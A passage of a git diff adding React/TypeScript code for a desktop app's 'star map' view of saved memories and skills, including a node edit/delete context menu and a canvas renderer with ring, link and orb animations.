+  const loading = useStore($starmapLoading)
+  const error = useStore($starmapError)
+
+  // A pasted share code populates the map with someone else's (or an exported)
+  // graph, overriding the live profile scan. Cleared by "back to my map" and
+  // whenever a fresh profile graph loads in.
+  const [imported, setImported] = useState<StarmapGraph | null>(null)
+
+  useEffect(() => {
+    void loadStarmapGraph()
+  }, [])
+
+  // Drop a stale import when the underlying profile graph changes out from under it.
+  useEffect(() => {
+    setImported(null)
+  }, [graph])
+
+  const shown = imported ?? graph
+
+  return (
+    <Panel closeLabel={t.starmap.close} onClose={onClose}>
+      {error ? (
+        <PanelEmpty description={error} icon="warning" title={t.starmap.loadFailed} />
+      ) : !shown && loading ? (
+        <PageLoader aria-label={t.starmap.loading} className="min-h-0 flex-1" />
+      ) : shown && shown.nodes.length === 0 && !imported ? (
+        <PanelEmpty description={t.starmap.emptyDesc} icon="lightbulb" title={t.starmap.emptyTitle} />
+      ) : shown ? (
+        <StarMap
+          graph={shown}
+          imported={imported !== null}
+          onImport={setImported}
+          onResetMap={() => setImported(null)}
+        />
+      ) : null}
+    </Panel>
+  )
+}
diff --git a/ui-desktop/src/app/starmap/node-context-menu.tsx b/ui-desktop/src/app/starmap/node-context-menu.tsx
new file mode 100644
index 000000000..539c9dde1
--- /dev/null
+++ b/ui-desktop/src/app/starmap/node-context-menu.tsx
@@ -0,0 +1,219 @@
+import { useRef, useState } from 'react'
+
+import { ArchiveSkillConfirmDialog, fireOptimistic } from '@/app/learning/archive-skill-confirm-dialog'
+import { deleteLearningNode, editLearningNode, getLearningNode } from '@/clawcodex'
+import { CodeEditor } from '@/components/chat/code-editor'
+import { Button } from '@/components/ui/button'
+import { ConfirmDialog } from '@/components/ui/confirm-dialog'
+import { Dialog, DialogContent, DialogFooter, DialogHeader, DialogTitle } from '@/components/ui/dialog'
+import { notifyError } from '@/store/notifications'
+import { evictStarmapNode, loadStarmapGraph } from '@/store/starmap'
+
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+
+export interface NodeMenuTarget {
+  id: string
+  kind: 'memory' | 'skill'
+  label: string
+  x: number
+  y: number
+}
+
+interface NodeContextMenuProps {
+  onClose: () => void
+  onNodeRemoved: () => void
+  target: NodeMenuTarget | null
+}
+
+interface EditState {
+  content: string
+  id: string
+  label: string
+}
+
+/** Right-click actions for a star-map node: edit (modal) or delete (confirm). */
+export function NodeContextMenu({ onClose, onNodeRemoved, target }: NodeContextMenuProps) {
+  const [editing, setEditing] = useState<EditState | null>(null)
+  const [deleting, setDeleting] = useState<Omit<NodeMenuTarget, 'x' | 'y'> | null>(null)
+  const [loading, setLoading] = useState(false)
+  const [saving, setSaving] = useState(false)
+  const [error, setError] = useState<null | string>(null)
+
+  // Bumped on profile switch so an in-flight openEdit fetch from profile A can't
+  // reopen the editor with A's node content after switching to B.
+  const editEpoch = useRef(0)
+
+  // A profile switch swaps the backend under an open edit/delete dialog — its
+  // node id belongs to the previous profile, so a Save/Delete after the switch
+  // would hit the newly active profile. Close everything on switch.
+  useOnProfileSwitch(() => {
+    editEpoch.current += 1
+    setEditing(null)
+    setDeleting(null)
+    setError(null)
+  })
+
+  const noun = target?.kind === 'memory' ? 'memory' : 'skill'
+
+  const openEdit = async () => {
+    if (!target) {
+      return
+    }
+
+    const epoch = editEpoch.current
+    setLoading(true)
+    setError(null)
+
+    try {
+      const detail = await getLearningNode(target.id)
+
+      if (editEpoch.current !== epoch) {
+        return
+      }
+
+      setEditing({ content: detail.content, id: target.id, label: target.label })
+      onClose()
+    } catch (e) {
+      setError(e instanceof Error ? e.message : String(e))
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  const save = async () => {
+    if (!editing) {
+      return
+    }
+
+    setSaving(true)
+    setError(null)
+
+    try {
+      const res = await editLearningNode(editing.id, editing.content)
+
+      if (!res.ok) {
+        throw new Error(res.message)
+      }
+
+      setEditing(null)
+      void loadStarmapGraph(true)
+    } catch (e) {
+      setError(e instanceof Error ? e.message : String(e))
+    } finally {
+      setSaving(false)
+    }
+  }
+
+  const menuOpen = target && !editing && !deleting
+
+  return (
+    <>
+      {menuOpen ? (
+        <>
+          <div className="fixed inset-0 z-50" onClick={onClose} onContextMenu={e => e.preventDefault()} />
+          {/* Styled to DropdownMenuContent/Item scale (rounded-lg card, p-1,
+              text-xs rows) — the hand-rolled fixed positioning stays because
+              the target is a canvas point, not a DOM anchor. */}
+          <div
+            className="fixed z-50 min-w-36 rounded-lg border border-(--ui-stroke-secondary) bg-[color-mix(in_srgb,var(--ui-bg-elevated)_96%,transparent)] p-1 shadow-md backdrop-blur-md"
+            style={{ left: target.x, top: target.y }}
+          >
+            <div className="truncate px-2 py-1 text-[0.68rem] text-muted-foreground">{target.label}</div>
+            <button
+              className="block w-full cursor-pointer rounded-md px-2 py-1 text-left text-xs hover:bg-(--ui-control-active-background) hover:text-foreground disabled:opacity-50"
+              disabled={loading}
+              onClick={() => void openEdit()}
+              type="button"
+            >
+              Edit {noun}…
+            </button>
+            <button
+              className="block w-full cursor-pointer rounded-md px-2 py-1 text-left text-xs text-destructive hover:bg-destructive/10"
+              onClick={() => {
+                setDeleting({ id: target.id, kind: target.kind, label: target.label })
+                onClose()
+              }}
+              type="button"
+            >
+              {target.kind === 'skill' ? 'Archive skill' : 'Delete memory'}
+            </button>
+          </div>
+        </>
+      ) : null}
+
+      <Dialog onOpenChange={value => !value && !saving && setEditing(null)} open={Boolean(editing)}>
+        <DialogContent className="max-w-2xl">
+          <DialogHeader>
+            <DialogTitle>Edit {editing?.label}</DialogTitle>
+          </DialogHeader>
+          <div className="h-80">
+            {editing && (
+              <CodeEditor
+                filePath={noun === 'skill' ? 'SKILL.md' : 'memory.md'}
+                framed
+                initialValue={editing.content}
+                key={editing.id}
+                onCancel={() => !saving && setEditing(null)}
+                onChange={content => setEditing(prev => (prev ? { ...prev, content } : prev))}
+                onSave={() => void save()}
+              />
+            )}
+          </div>
+          {error ? <p className="text-xs text-destructive">{error}</p> : null}
+          <DialogFooter>
+            <Button disabled={saving} onClick={() => setEditing(null)} type="button" variant="ghost">
+              Cancel
+            </Button>
+            <Button disabled={saving} onClick={() => void save()}>
+              {saving ? 'Saving…' : 'Save'}
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+
+      {deleting?.kind === 'skill' ? (
+        <ArchiveSkillConfirmDialog
+          onApply={() => {
+            onNodeRemoved()
+
+            return evictStarmapNode(deleting.id)
+          }}
+          onClose={() => setDeleting(null)}
+          onFailure={(err, name) => notifyError(err, name)}
+          open
+          skillId={deleting.id}
+          skillName={deleting.label}
+        />
+      ) : (
+        <ConfirmDialog
+          confirmLabel="Delete"
+          description="This memory is removed permanently."
+          destructive
+          dismissOnConfirm
+          onClose={() => setDeleting(null)}
+          onConfirm={() => {
+            if (!deleting) {
+              return
+            }
+
+            const { id, label } = deleting
+            const rollback = evictStarmapNode(id)
+            onNodeRemoved()
+
+            fireOptimistic(
+              deleteLearningNode(id).then(res => {
+                if (!res.ok) {
+                  throw new Error(res.message)
+                }
+              }),
+              rollback,
+              err => notifyError(err, label)
+            )
+          }}
+          open={Boolean(deleting)}
+          title={`Delete ${deleting?.label ?? ''}?`}
+        />
+      )}
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/starmap/render.ts b/ui-desktop/src/app/starmap/render.ts
new file mode 100644
index 000000000..12e26eab1
--- /dev/null
+++ b/ui-desktop/src/app/starmap/render.ts
@@ -0,0 +1,864 @@
+import { darken, luminance, mixRgb, rgba } from './color'
+import {
+  LIT_BAND_ALPHA,
+  NODE_SHAPE,
+  ORB_DARKEN,
+  RING_INNER,
+  RING_PARAMS,
+  TILT,
+  WHITE,
+  WHITEISH_SHEEN
+} from './constants'
+import { clamp, fitScale, nodeRadius, recencyInk, shapePath } from './geometry'
+import { countLabel, ellipsize, metaBadges, nodeFooter, wrapText } from './text'
+import type {
+  FadeBuckets,
+  MemoryCard,
+  Palette,
+  Rect,
+  Rgb,
+  Ring,
+  RingLabelRect,
+  SimLink,
+  SimNode,
+  Viewport
+} from './types'
+
+export interface Scene {
+  adjacency: Map<string, Set<string>>
+  byId: Map<string, SimNode>
+  ctx: CanvasRenderingContext2D
+  dpr: number
+  fades: FadeBuckets
+  focusId: null | string
+  hoverId: null | string
+  hoverLink: null | string
+  hoverRing: null | number
+  links: SimLink[]
+  memById: Map<string, MemoryCard>
+  nodes: SimNode[]
+  palette: Palette
+  // Time scrubber: only paint nodes/links whose recency has been reached. 1 =
+  // everything (the default, idle state); lower values "build up" the map.
+  reveal: number
+  rings: Ring[]
+  selectedRing: null | number
+  size: { h: number; w: number }
+  // Scrub jumps: snap every ease to its target this frame (no birth/fade replay).
+  snapMotion?: boolean
+  vp: Viewport
+}
+
+export interface DrawResult {
+  animating: boolean
+  ringLabelRects: RingLabelRect[]
+}
+
+// Smoothstep — eases the birth animations (position grow-out) in and out.
+const ease = (t: number): number => {
+  const u = t < 0 ? 0 : t > 1 ? 1 : t
+
+  return u * u * (3 - 2 * u)
+}
+
+// EVE-style warp arrival for node births: the star streaks outward fast, then
+// decelerates hard (exponential ease-out) and drops onto its ring — like a ship
+// dropping out of warp. WARP_FROM is how deep toward the core it launches from.
+const WARP_FROM = 0.32
+
+const warpIn = (t: number): number => {
+  const u = t < 0 ? 0 : t > 1 ? 1 : t
+
+  return u >= 1 ? 1 : 1 - 2 ** (-9 * u)
+}
+
+// Layered birth speeds for the scrubber's parallax: rings expand slowly and
+// grandly in the background, stars pop in quicker up front — both well below the
+// default hover/focus speeds so the build-up reads as a cinematic settle.
+const RING_BIRTH = { down: 0.055, up: 0.032 }
+const NODE_BIRTH = { down: 0.11, up: 0.075 }
+
+// Glyph pool for the empty-core scramble: Matrix-style half-width katakana plus
+// a few digits/symbols for the "digital rain / decoding" look.
+const SCRAMBLE_CHARS = 'ﾊﾋﾌﾍﾎﾏﾐﾑﾒﾓﾔﾕﾖﾗﾘﾙﾚﾜﾝｦｱｳｴｵｶｷｹｺｻｼｽｾﾀﾁﾂﾃﾅﾆﾇﾈ0123456789:.=*+<>Ξ╳'
+
+// Sphere-sprite atlas: a lit orb is the same picture at every size, so we render
+// each distinct (ink, sheen, darken) appearance ONCE into an offscreen sprite and
+// blit it (scaled) per node — instead of allocating a fresh radial gradient for
+// every star on every frame. Keyed by appearance, not size; drawImage scales it.
+// Reference radius the sprite is rendered at — larger than the usual billboarded
+// screen-space orb, so sprites scale down in normal use and stay crisp.
+const SPRITE_R = 96
+
+const spriteCache = new Map<string, HTMLCanvasElement>()
+
+// Build (or fetch) the orb sprite for one appearance: an offset radial gradient
+// from a hot core → darkened body → translucent rim, clipped to the disk, so a
+// flat circle reads with volume. `strength` is how white the core is; `bodyDarken`
+// darkens the body (0 for active/hover nodes so they pop full bright). Near-white
+// inks skip the darken and force a near-full sheen so the white core still reads.
+function sphereSprite(ink: Rgb, strength: number, bodyDarken: number): HTMLCanvasElement {
+  const key = `${ink.r},${ink.g},${ink.b}|${strength}|${bodyDarken}`
+  const cached = spriteCache.get(key)
+
+  if (cached) {
+    return cached
+  }
+
+  const R = SPRITE_R
+  // Margin for the gradient's rim (extends to 1.15·R) so it isn't clipped.
+  const pad = Math.ceil(R * 0.15) + 1
+  const size = (R + pad) * 2
+  const c = R + pad
+  const cv = document.createElement('canvas')
+  cv.width = size
+  cv.height = size
+  const g2 = cv.getContext('2d')
+
+  if (!g2) {
+    return cv
+  }
+
+  const mx = Math.max(ink.r, ink.g, ink.b)
+  const mn = Math.min(ink.r, ink.g, ink.b)
+  const sat = mx ? (mx - mn) / mx : 0
+  const whiteness = clamp((luminance(ink.r, ink.g, ink.b) - 0.7) / 0.3, 0, 1) * (1 - sat)
+  const eff = strength + (WHITEISH_SHEEN - strength) * whiteness
+  const hi = mixRgb(ink, WHITE, 0.7 * eff)
+  const body = darken(ink, bodyDarken * (1 - whiteness))
+  const grad = g2.createRadialGradient(c - R * 0.35, c - R * 0.4, R * 0.05, c, c, R * 1.15)
+  grad.addColorStop(0, rgba(hi, 1))
+  grad.addColorStop(0.5, rgba(body, 1))
+  grad.addColorStop(1, rgba(body, 0.85))
+  g2.fillStyle = grad
+  g2.beginPath()
+  g2.arc(c, c, R, 0, Math.PI * 2)
+  g2.fill()
+  spriteCache.set(key, cv)
+
+  return cv
+}
+
+// Paint a lit orb of radius `r` centered at (x, y) by blitting its cached sprite.
+// Honors the caller's globalAlpha (drawImage multiplies it), matching the old
+// gradient fill. No path needed — the sprite already carries the disk + AA rim.
+function sphereFill(
+  ctx: CanvasRenderingContext2D,
+  x: number,
+  y: number,
+  r: number,
+  ink: Rgb,
+  strength: number,
+  bodyDarken: number
+): void {
+  const sprite = sphereSprite(ink, strength, bodyDarken)
+  const scale = r / SPRITE_R
+  const drawSize = sprite.width * scale
+  ctx.drawImage(sprite, x - drawSize / 2, y - drawSize / 2, drawSize, drawSize)
+}
+
+const rectsOverlap = (a: Rect, b: Rect) => a.x < b.x + b.w && a.x + a.w > b.x && a.y < b.y + b.h && a.y + a.h > b.y
+
+// Paint a full frame of the star map. Pure given its inputs (draws to the
+// canvas + advances the fade buckets); returns whether it's still animating and
+// the ring-label hit rects for pointer picking.
+export function drawScene(scene: Scene): DrawResult {
+  const {
+    adjacency,
+    byId,
+    ctx,
+    dpr,
+    fades,
+    focusId,
+    hoverId,
+    hoverLink,
+    hoverRing,
+    links,
+    memById,
+    nodes,
+    palette,
+    reveal,
+    rings,
+    selectedRing,
+    size,
+    snapMotion = false,
+    vp
+  } = scene
+
+  // Small epsilon so a node exactly at the playhead counts as revealed.
+  const seen = (rec: number) => rec <= reveal + 1e-3
+  // Recency for styling is RELATIVE to the newest revealed node — the current
+  // "present" — not the bare playhead. So a lone frontier node still reads as
+  // fresh (bright/full size) even with empty space between it and the scrubber.
+  // At reveal = 1 the frontier is the newest node, collapsing back to raw recency.
+  let frontier = 0
+
+  for (const fn of nodes) {
+    if (fn.rec <= reveal + 1e-3 && fn.rec > frontier) {
+      frontier = fn.rec
+    }
+  }
+
+  const erec = (rec: number) => (frontier > 0 ? clamp(rec / frontier, 0, 1) : 1)
+  const { h, w } = size
+  const { bandInk, base, bg, c, chipBg, darkTheme, inkInv, memoryInk, skillInk } = palette
+  const { bandAlpha, lightSize, ringAlpha, sheen } = RING_PARAMS[darkTheme ? 'dark' : 'light']
+
+  let animating = false
+  const ringLabelRects: RingLabelRect[] = []
+
+  // Eased opacity per element: snaps up when newly highlighted, eases otherwise.
+  // `rates` overrides the default in/out lerp speed (the slow births pass their
+  // own gentler pair so the build-up reads as a graceful settle, not a flash).
+  const fadeAlpha = (
+    bucket: Map<string, number>,
+    key: string,
+    target: number,
+    snapUp = false,
+    rates?: { down: number; up: number }
+  ) => {
+    const targetAlpha = clamp(target, 0, 1)
+    const prev = bucket.get(key)
+
+    // Scrub: jump straight to the target so a fast drag doesn't replay easing.
+    if (snapMotion) {
+      bucket.set(key, targetAlpha)
+
+      return targetAlpha
+    }
+
+    if (prev == null || (snapUp && targetAlpha > prev)) {
+      bucket.set(key, targetAlpha)
+
+      return targetAlpha
+    }
+
+    const up = rates?.up ?? 0.22
+    const down = rates?.down ?? 0.32
+    const rate = targetAlpha > prev ? up : down
+    const next = prev + (targetAlpha - prev) * rate
+
+    if (Math.abs(next - targetAlpha) < 0.01) {
+      bucket.set(key, targetAlpha)
+
+      return targetAlpha
+    }
+
+    animating = true
+    bucket.set(key, next)
+
+    return next
+  }
+
+  const shade = (a: number) => `rgba(${base.r},${base.g},${base.b},${a})`
+  const projX = (wx: number) => wx * vp.k + vp.x
+  const projY = (wy: number) => wy * vp.k * TILT + vp.y
+  // Baseline node scale: the rested fit, held stable while the playback camera
+  // dives into the core — so t≈0 nodes don't balloon (see fitScale).
+  const nodeK = fitScale(w, h, rings)
+
+  // Two composable layers: node highlight (selected ?? hovered) in full ink, and
+  // a selection-only ring/date filter that only shifts alpha.
+  const focusSet = focusId ? (adjacency.get(focusId) ?? new Set<string>()) : null
+  const ringIdx = selectedRing
+  const ring = ringIdx != null ? (rings[ringIdx] ?? null) : null
+  // A selected ring owns the band it caps: previous ring → this ring. Ring 0 is
+  // visual-only/unlabeled, so the first selectable date naturally owns shell 0→1.
+  const ringLo = ring && ringIdx != null ? (rings[ringIdx - 1]?.ratio ?? 0) - 1e-3 : 0
+  const ringHi = ring ? ring.ratio + 1e-3 : 1
+
+  ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+  ctx.clearRect(0, 0, w, h)
+
+  ctx.globalAlpha = 1
+
+  // Tilted world transform for the disk structure.
+  ctx.setTransform(vp.k * dpr, 0, 0, vp.k * TILT * dpr, vp.x * dpr, vp.y * dpr)
+
+  // The "lit" date = hovered (preview) or selected (locked) — drives the band
+  // flatten only; the ring outline reacts to selection.
+  const litRingIdx = hoverRing ?? ringIdx
+
+  // A ring is "laid" one band AHEAD of the playhead — it appears the moment the
+  // scrubber enters the band beneath it (its inner neighbor's date), so the date
+  // gridline that caps a region is always drawn before any node in that region.
+  // Ring 0 is just the visual core; the first real shell still needs non-zero
+  // playback progress so replay starts empty instead of showing it pre-laid.
+  const ringSeen = (i: number) => {
+    const threshold = rings[i - 1]?.ratio ?? 0
+
+    return i === 0 || (threshold <= 0 ? reveal > 1e-3 : reveal + 1e-3 >= threshold)
+  }
+
+  // Per-ring "grow out" progress (advanced once per frame, reused by bands /
+  // outlines / labels): a revealed ring eases its radius from its inner neighbor
+  // outward to its resting radius, so it expands into place instead of popping.
+  const ringAppear = rings.map((rg, i) =>
+    ease(fadeAlpha(fades.appear, `ring:${i}`, ringSeen(i) ? 1 : 0, false, RING_BIRTH))
+  )
+
+  // Direction-based origin (the sign of the reveal): a ring growing IN expands
+  // outward from its inner neighbour — never from the dead centre — while a ring
+  // fading OUT collapses all the way to the core. ringSeen is the direction tell:
+  // true = revealing/at rest, false = receding.
+  const ringDrawR = rings.map((rg, i) => {
+    const startR = ringSeen(i) ? (rings[i - 1]?.r ?? rg.r) : RING_INNER
+
+    return startR + (rg.r - startR) * (ringAppear[i] ?? 1)
+  })
+
+  // Opacity envelope that stays near-full through most of the grow/shrink and
+  // only fades in the final stretch — so the radius TRAVEL is visible (the ring
+  // shrinks back into place) instead of just dimming out where it stands.
+  const ringVis = ringAppear.map(a => clamp(a / 0.55, 0, 1))
+
+  // Inter-ring bands: a theme-tinted wash sliver at the outer edge; the lit
+  // date's band flattens to an even wash.
+  if (bandAlpha > 0 || litRingIdx != null) {
+    for (let i = 0; i < rings.length - 1; i += 1) {
+      const lit = litRingIdx != null && i + 1 === litRingIdx
+
+      if (!lit && bandAlpha <= 0) {
+        continue
+      }
+
+      // The band tracks its outer ring's grow-in.
+      if ((ringAppear[i + 1] ?? 1) <= 0.01) {
+        continue
+      }
+
+      const inner = ringDrawR[i] ?? 0
+      const outer = ringDrawR[i + 1] ?? 0
+
+      if (lit) {
+        ctx.fillStyle = rgba(bandInk, LIT_BAND_ALPHA)
+      } else {
+        const grad = ctx.createRadialGradient(0, 0, inner, 0, 0, outer)
+
+        if (darkTheme) {
+          // Dark: a light wash on each band's OUTER rim — reads as light catching
+          // a raised edge → depth.
+          grad.addColorStop(0, rgba(bandInk, 0))
+          grad.addColorStop(clamp(1 - lightSize, 0.01, 0.99), rgba(bandInk, 0))
+          grad.addColorStop(1, rgba(bandInk, bandAlpha))
+        } else {
+          // Light: flip it — the (darker) wash sits on the INNER edge and fades
+          // outward, so each shell reads as recessed toward the core (depth),
+          // not a raised mound.
+          grad.addColorStop(0, rgba(bandInk, bandAlpha))
+          grad.addColorStop(clamp(lightSize, 0.01, 0.99), rgba(bandInk, 0))
+          grad.addColorStop(1, rgba(bandInk, 0))
+        }
+
+        ctx.fillStyle = grad
+      }
+
+      ctx.beginPath()
+      ctx.arc(0, 0, outer, 0, Math.PI * 2)
+      ctx.arc(0, 0, inner, 0, Math.PI * 2, true)
+      ctx.fill()
+    }
+  }
+
+  // Ring outline: brightens only on selection — the selected ring + its inner
+  // neighbor (the two bounding the lit band).
+  ctx.lineWidth = c.ringWidth / vp.k
+  ctx.setLineDash(c.ringDashed ? [c.ringDash / vp.k, c.ringDash / vp.k] : [])
+  rings.forEach((rg, i) => {
+    const emphasized = ringIdx != null && (i === ringIdx || i === ringIdx - 1)
+    // Reveal in/out rides the smooth (slow) ringAppear envelope so a ring fades
+    // out as gracefully as it grew in; the alpha bucket only carries the snappy
+    // selection emphasis.
+    const emphasisAlpha = emphasized ? clamp(LIT_BAND_ALPHA * 2, 0, 1) : ringAlpha
+    // The core ring (i 0) fades in from reveal 0 so the scramble orb starts
+    // un-enclosed (no outline boxing it in) and the shell appears as it plays.
+    const coreFade = i === 0 ? clamp(reveal / 0.08, 0, 1) : 1
+    const ringAlphaNow = fadeAlpha(fades.rings, String(i), emphasisAlpha, emphasized) * (ringVis[i] ?? 1) * coreFade
+
+    if (ringAlphaNow < 0.004) {
+      return
+    }
+
+    ctx.strokeStyle = shade(ringAlphaNow)
+    ctx.beginPath()
+    ctx.arc(0, 0, ringDrawR[i] ?? rg.r, 0, Math.PI * 2)
+    ctx.stroke()
+  })
+  ctx.setLineDash([])
+
+  // Screen space for the jump routes and glyphs (crisp, easy to trim). The empty
+  // core's animated scramble is NOT painted here — it's the only perpetually
+  // moving layer, so it's drawn live each frame by drawScramble() on top of the
+  // (cached) static scene. Everything else in this function is static until an
+  // input changes, which is why `animating` now reflects only in-flight fades.
+  ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+
+  // Jump routes — a focused node's links stop at its selection ring.
+  const focusNode = focusId ? (byId.get(focusId) ?? null) : null
+  const focusRingR = focusNode ? nodeRadius(focusNode) * nodeK + 4 : 0
+
+  for (const link of links) {
+    const s = typeof link.source === 'object' ? link.source : byId.get(String(link.source))
+    const t = typeof link.target === 'object' ? link.target : byId.get(String(link.target))
+
+    if (!s || !t) {
+      continue
+    }
+
+    // A jump route only exists once both of its endpoints have ignited.
+    const revealed = seen(s.rec) && seen(t.rec)
+
+    const lit =
+      revealed &&
+      !!focusId &&
+      (s.id === focusId || t.id === focusId || (!!focusSet && focusSet.has(s.id) && focusSet.has(t.id)))
+
+    let x1 = projX(s.x)
+    let y1 = projY(s.y)
+    let x2 = projX(t.x)
+    let y2 = projY(t.y)
+
+    if (s.id === focusId) {
+      const d = Math.hypot(x2 - x1, y2 - y1) || 1
+      x1 += ((x2 - x1) / d) * focusRingR
+      y1 += ((y2 - y1) / d) * focusRingR
+    }
+
+    if (t.id === focusId) {
+      const d = Math.hypot(x1 - x2, y1 - y2) || 1
+      x2 += ((x1 - x2) / d) * focusRingR
+      y2 += ((y1 - y2) / d) * focusRingR
+    }
+
+    const key = `${s.id}->${t.id}`
+    const ambient = recencyInk(erec((s.rec + t.rec) / 2)) * c.lineAlpha
+
+    // Hovering a line fades it in a bit (×2, capped — never full white).
+    const targetAlpha = !revealed
+      ? 0
+      : lit
+        ? 1
+        : key === hoverLink
+          ? clamp(ambient * 2, 0, 0.7)
+          : focusId || ring
+            ? 0.025
+            : ambient
+
+    const linkAlpha = fadeAlpha(fades.links, key, targetAlpha, lit)
+
+    if (linkAlpha < 0.004) {
+      continue
+    }
+
+    ctx.strokeStyle = shade(linkAlpha)
+    ctx.setLineDash(lit || !c.lineDashed ? [] : [c.lineDash, c.lineDash])
+    ctx.lineWidth = lit ? 1.5 : c.lineWidth
+    ctx.beginPath()
+    ctx.moveTo(x1, y1)
+    ctx.lineTo(x2, y2)
+    ctx.stroke()
+  }
+
+  ctx.setLineDash([])
+
+  // Nodes: the node layer paints pure ink (focused node + neighbors); the date
+  // filter is alpha-only, so the two states compose. Track which rings have at
+  // least one revealed node so a ring's date only shows once it has content.
+  const revealedRings = new Set<number>()
+
+  for (const n of nodes) {
+    // The land comes first: a node waits for the ring that CAPS its region (its
+    // outer date gridline) to grow in before it ignites — so the ring is always
+    // drawn before any star inside it, not after.
+    const landLaid = (ringAppear[n.outerRingIndex] ?? 1) >= 0.5
+    const revealed = seen(n.rec) && landLaid
+
+    if (revealed) {
+      revealedRings.add(n.outerRingIndex)
+    }
+
+    const isFocus = revealed && n.id === focusId
+    const isNeighbor = revealed && !!focusSet && focusSet.has(n.id)
+    const inRing = !!ring && n.rec >= ringLo && n.rec < ringHi
+    const nodeHigh = isFocus || isNeighbor
+    const er = erec(n.rec)
+    const ageScale = nodeHigh || inRing ? 1 : 0.34 + Math.min(1, er / 0.4) * 0.66
+    // Stable screen-space radius: use the graph's resting fit zoom, not the
+    // current playback camera zoom. Full-map views keep their original density,
+    // while t≈0 spore-zoom no longer inflates nodes into bubbles.
+    const r = nodeRadius(n) * nodeK * ageScale
+
+    const baseAlpha = nodeHigh ? 1 : ring ? (inRing ? (focusId ? 0.55 : 1) : 0.16) : focusId ? 0.16 : recencyInk(er)
+    const alpha = fadeAlpha(fades.nodes, n.id, revealed ? baseAlpha : 0, nodeHigh || inRing)
+
+    // Birth fade + warp rise are coupled (slow rates) so a star grows in instead
+    // of flashing. Focus snaps (no drift).
+    const rawBorn = fadeAlpha(fades.appear, n.id, revealed ? 1 : 0, nodeHigh || inRing, NODE_BIRTH)
+    const born = ease(rawBorn)
+    const vis = alpha * born
+
+    if (vis < 0.004) {
+      continue
+    }
+
+    // Warp-in: streak outward from WARP_FROM·radius and decelerate hard onto the
+    // ring (origin = disk core), echoing an EVE ship dropping out of warp.
+    const posScale = WARP_FROM + (1 - WARP_FROM) * warpIn(rawBorn)
+    const sx = projX(n.x * posScale)
+    const sy = projY(n.y * posScale)
+
+    ctx.globalAlpha = vis
+    const nodeInk = nodeHigh ? base : n.kind === 'memory' ? memoryInk : skillInk
+    const shape = NODE_SHAPE[n.kind]
+
+    if (shape === 'circle') {
+      // Highlighted orbs pop full bright; others darken so the sheen reads. The
+      // sprite carries the disk, so no path is built for circles.
+      sphereFill(ctx, sx, sy, r, nodeInk, sheen, nodeHigh ? 0 : ORB_DARKEN)
+    } else {
+      shapePath(ctx, shape, sx, sy, r)
+      ctx.fillStyle = rgba(nodeInk, 1)
+      ctx.fill()
+    }
+
+    if (isFocus) {
+      ctx.globalAlpha = 1
+      ctx.strokeStyle = rgba(nodeInk, 1)
+      ctx.lineWidth = 1.4
+      shapePath(ctx, shape, sx, sy, r + 4)
+      ctx.stroke()
+    }
+  }
+
+  ctx.globalAlpha = 1
+  ctx.setTransform(dpr, 0, 0, dpr, 0, 0)
+
+  // Ring date labels (top of each ellipse) — hoverable to focus the ring. Many
+  // adaptive rings can crowd the top, so labels thin out: skip any that would
+  // land within LABEL_GAP of the last one drawn (the gridline still shows).
+  ctx.font = '10px ui-sans-serif, system-ui, sans-serif'
+  ctx.textAlign = 'center'
+  const LABEL_GAP = 15
+  let lastLabelY = Number.POSITIVE_INFINITY
+  // A ring's date only shows once it actually has a revealed node — no floating
+  // date over a blank disk (t=0) or a lone empty ring.
+  rings.forEach((rg, i) => {
+    if (!rg.label || !revealedRings.has(i)) {
+      return
+    }
+
+    const sx = projX(0)
+    // Track the growing radius so the date rides the ring as it expands out.
+    const sy = projY(-(ringDrawR[i] ?? rg.r))
+
+    if (sy < 8 || sy > h - 8 || lastLabelY - sy < LABEL_GAP) {
+      return
+    }
+
+    lastLabelY = sy
+    const tw = ctx.measureText(rg.label).width
+    const boxW = tw + 6
+    const isThis = ringIdx === i || hoverRing === i
+    const faded = (focusId != null || ringIdx != null) && !isThis
+    // The date rides the same smooth ringAppear envelope, so it recedes as
+    // gently as it appears; the bucket carries only the snappy focus/selection dim.
+    const emphasisAlpha = faded ? 0.33 : 1
+    const labelAlpha = fadeAlpha(fades.labels, String(i), emphasisAlpha, isThis) * (ringVis[i] ?? 1)
+
+    if (labelAlpha < 0.01) {
+      return
+    }
+
+    ctx.globalAlpha = labelAlpha
+    ctx.fillStyle = rgba(bg, 1)
+    ctx.fillRect(sx - boxW / 2, sy - 6, boxW, 13)
+    ctx.fillStyle = shade(isThis ? 1 : 0.2)
+    ctx.fillText(rg.label, sx, sy + 3)
+    ctx.globalAlpha = 1
+    // Hidden labels (mid fade-out / not yet reached) drop out of hit-testing.
+    ringLabelRects.push({ h: 18, i, w: boxW + 6, x: sx - boxW / 2 - 3, y: sy - 10 })
+  })
+
+  // Tooltip on focus — measured first so its rect joins the avoidance set and
+  // neighbor labels route around it.
+  const tipNode = focusId ? byId.get(focusId) : null
+  const tip = tipNode && seen(tipNode.rec) ? tipNode : null
+  let tipRect: null | Rect = null
+
+  if (tip) {
+    const PADX = 6
+    const PADY = 4
+    const BADGE_H = 14
+    const ROW_GAP = 3
+    const LINE_H = 16
+    const ITEM_GAP = 8
+    const badgeFont = '9px ui-sans-serif, system-ui, sans-serif'
+    const monoFont = '9px ui-monospace, SFMono-Regular, Menlo, monospace'
+    const titleFont = '600 11px ui-sans-serif, system-ui, sans-serif'
+    const footerFont = '9px ui-sans-serif, system-ui, sans-serif'
+    const FOOTER_H = 13
+    // The date (index 0) stays sans; the rest of the tags are monospace.
+    const badgeFontFor = (i: number) => (i === 0 ? badgeFont : monoFont)
+
+    const badges = metaBadges(tip)
+    const use = countLabel(tip)
+    const titleText = tip.kind === 'memory' ? memById.get(tip.id)?.body.split('\n')[0]?.trim() || tip.label : tip.label
+
+    const badgeW = badges.map((b, i) => {
+      ctx.font = badgeFontFor(i)
+
+      return ctx.measureText(b).width
+    })
+
+    const rowW = badgeW.reduce((a, b) => a + b, 0) + ITEM_GAP * Math.max(0, badges.length - 1)
+    ctx.font = monoFont
+    const useW = use ? ctx.measureText(use).width : 0
+    const metaW = rowW + (use ? ITEM_GAP + useW : 0)
+
+    ctx.font = titleFont
+    const maxTitleW = Math.min(380, w - 16) - PADX * 2
+    const titleLines = wrapText(ctx, titleText, maxTitleW)
